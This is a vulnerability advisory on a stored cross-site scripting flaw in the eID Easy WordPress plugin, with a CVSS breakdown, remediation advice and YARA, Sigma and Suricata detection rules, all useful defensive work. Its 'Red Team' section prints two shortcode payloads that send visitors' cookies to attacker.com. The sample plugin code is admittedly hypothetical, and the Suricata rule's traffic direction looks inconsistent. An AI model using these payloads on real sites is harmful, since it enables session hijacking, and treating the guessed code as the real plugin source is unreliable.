CVE-2025-9128

Executive Summary

CVE-2025-9128 is a Stored Cross-Site Scripting (XSS) vulnerability in the eID Easy WordPress plugin, affecting all versions up to and including 4.9.3. The flaw resides in insufficient input sanitization and output escaping of the id parameter, allowing authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is part of the WordPress ecosystem and is currently unpatched, with no known public exploit code or proof-of-concept available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor (Eid easy). No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• EPSS Score: 0.0% (low exploitation probability currently)

Deep Dive & Mechanics

The vulnerability exists in the eID Easy plugin’s handling of the id parameter, likely within a shortcode or AJAX handler. The plugin fails to properly sanitize user input and escape output before rendering it in the page. An authenticated attacker with Contributor-level access can inject malicious JavaScript into the id parameter, which is then stored in the WordPress database. When any user (including administrators) visits the affected page, the injected script executes in their browser context.

The attack flow:

1. Attacker logs in with Contributor-level credentials.
2. Attacker crafts a payload (e.g., <script>alert('XSS')</script>) and submits it via the vulnerable id parameter.
3. The plugin stores the payload without proper sanitization.
4. When a victim visits the page, the payload is rendered and executed.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to:

// Vulnerable code (hypothetical)
function eid_easy_shortcode($atts) {
    $id = $atts['id'];
    return "<div id='$id'>Content</div>";
}

A patched version would use proper escaping:

// Patched code (hypothetical)
function eid_easy_shortcode($atts) {
    $id = esc_attr($atts['id']);
    return "<div id='$id'>Content</div>";
}

Exploitation & Lab Setup

Red Team

Prerequisites: WordPress instance with eID Easy plugin <= 4.9.3, Contributor-level account.

Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. Insert the vulnerable shortcode with a malicious payload:

   [eid_easy id="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

4. Publish the post.
5. Wait for an administrator to view the post, triggering the XSS.

Alternative payload (session hijacking):

[eid_easy id="<img src=x onerror='new Image().src=\"https://attacker.com/steal?cookie=\"+document.cookie'>"]

Blue Team

Detection:

• Monitor for unusual shortcode usage in posts/pages.
• Look for id parameters containing HTML tags or JavaScript.
• Use WAF rules to block common XSS patterns in POST requests.

Mitigation:

• Disable the eID Easy plugin until a patch is available.
• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/eid-easy/eid-easy.php (or similar main plugin file)
• Database: Posts/pages containing <script> tags in the id parameter of shortcodes.
• Network: Outbound requests to attacker-controlled domains from WordPress admin pages.
• Logs: PHP error logs showing unexpected HTML/JavaScript in shortcode parameters.

Detection Engineering

YARA Rule

rule CVE_2025_9128_eID_Easy_XSS {
    meta:
        description = "Detects stored XSS payloads in eID Easy plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9128"
    strings:
        $payload1 = /\[eid_easy\s+id\s*=\s*["'][^"']*<script[^>]*>/
        $payload2 = /\[eid_easy\s+id\s*=\s*["'][^"']*onerror\s*=/
        $payload3 = /\[eid_easy\s+id\s*=\s*["'][^"']*onload\s*=/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-9128 eID Easy Stored XSS
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via eID Easy plugin id parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: '/wp-admin/post.php'
        http.body|contains: 'eid_easy'
        http.body|contains|re: 'id\s*=\s*["\'].*<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9128 eID Easy Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"eid_easy"; http_client_body; pcre:"/id\s*=\s*["\'][^"\']*<script/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the eID Easy plugin until a patch is released.
2. Review and remove any suspicious posts/pages created by Contributor-level users.
3. Change all WordPress admin passwords and API keys.

Long-term Fix:

• Apply vendor patch when available (monitor https://wordpress.org/plugins/eid-easy/).
• Implement input validation and output escaping in custom code.
• Use a Web Application Firewall (WAF) to block XSS payloads.

Workarounds:

• Restrict Contributor-level access to only trusted users.
• Enable WordPress built-in security features (e.g., disallow unfiltered HTML for lower roles).

Valters IT